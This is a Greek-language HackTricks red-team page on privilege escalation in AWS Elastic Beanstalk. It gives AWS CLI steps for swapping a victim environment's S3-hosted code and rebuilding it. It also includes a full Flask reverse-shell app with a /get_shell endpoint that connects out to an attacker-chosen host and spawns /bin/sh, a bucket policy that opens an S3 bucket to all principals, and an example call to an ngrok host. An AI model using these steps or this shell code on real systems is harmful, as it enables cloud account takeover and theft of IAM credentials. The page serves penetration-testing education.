AWS - Elastic Beanstalk Privesc

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Elastic Beanstalk

Περισσότερες πληροφορίες σχετικά με το Elastic Beanstalk στο:

pageAWS - Elastic Beanstalk Enum

Για να εκτελέσετε ευαίσθητες ενέργειες στο Beanstalk, θα πρέπει να έχετε πολλές ευαίσθητες άδειες σε πολλές διάφορες υπηρεσίες. Μπορείτε να ελέγξετε, για παράδειγμα, τις άδειες που δίνονται στο arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk

elasticbeanstalk:RebuildEnvironment, άδειες εγγραφής S3 & πολλές άλλες

Με άδειες εγγραφής στο S3 bucket που περιέχει τον κώδικα του περιβάλλοντος και άδειες για ανακατασκευή της εφαρμογής (χρειάζεται elasticbeanstalk:RebuildEnvironment και μερικές ακόμα σχετικές με S3, EC2 και Cloudformation), μπορείτε να τροποποιήσετε τον κώδικα, να ανακατασκευάσετε την εφαρμογή και την επόμενη φορά που θα αποκτήσετε πρόσβαση στην εφαρμογή, θα εκτελείται ο νέος σας κώδικας, επιτρέποντας στον επιτιθέμενο να απειλήσει την εφαρμογή και τις διαπιστευτήρια του ρόλου IAM της.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, και περισσότερα...

Οι παραπάνω συν τα δικαιώματα S3, EC2, cloudformation ,autoscaling και elasticloadbalancing είναι απαραίτητα για να δημιουργηθεί ένα αρχικό σενάριο Elastic Beanstalk από το μηδέν.

  • Δημιουργία εφαρμογής AWS Elastic Beanstalk:

aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

Εάν έχει ήδη δημιουργηθεί ένα περιβάλλον και δεν θέλετε να δημιουργήσετε ένα νέο, μπορείτε απλά να ενημερώσετε το υπάρχον.

  • Συσκευάστε τον κώδικα της εφαρμογής και τις εξαρτήσεις σας σε ένα αρχείο ZIP:

zip -r MyApp.zip .
  • Μεταφορτώστε το αρχείο ZIP σε ένα κάδο S3:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • Δημιουργήστε μια έκδοση εφαρμογής AWS Elastic Beanstalk:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • Αναπτύξτε την έκδοση της εφαρμογής στο περιβάλλον AWS Elastic Beanstalk σας:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

Καταρχάς, πρέπει να δημιουργήσετε ένα πραγματικό περιβάλλον Beanstalk με τον κώδικα που θέλετε να εκτελέσετε στον θύμα ακολουθώντας τα προηγούμενα βήματα. Πιθανώς ένα απλό zip που περιέχει αυτά τα 2 αρχεία:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

Αφού έχετε το δικό σας Beanstalk περιβάλλον που εκτελεί το rev shell σας, είναι ώρα να το μεταφέρετε στο περιβάλλον του θύματος. Για να το κάνετε αυτό, πρέπει να ενημερώσετε την πολιτική του Bucket του S3 bucket του Beanstalk σας, έτσι ώστε το θύμα να μπορεί να το προσπελάσει (Σημειώστε ότι αυτό θα ανοίξει το Bucket σε ΟΛΟΥΣ):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated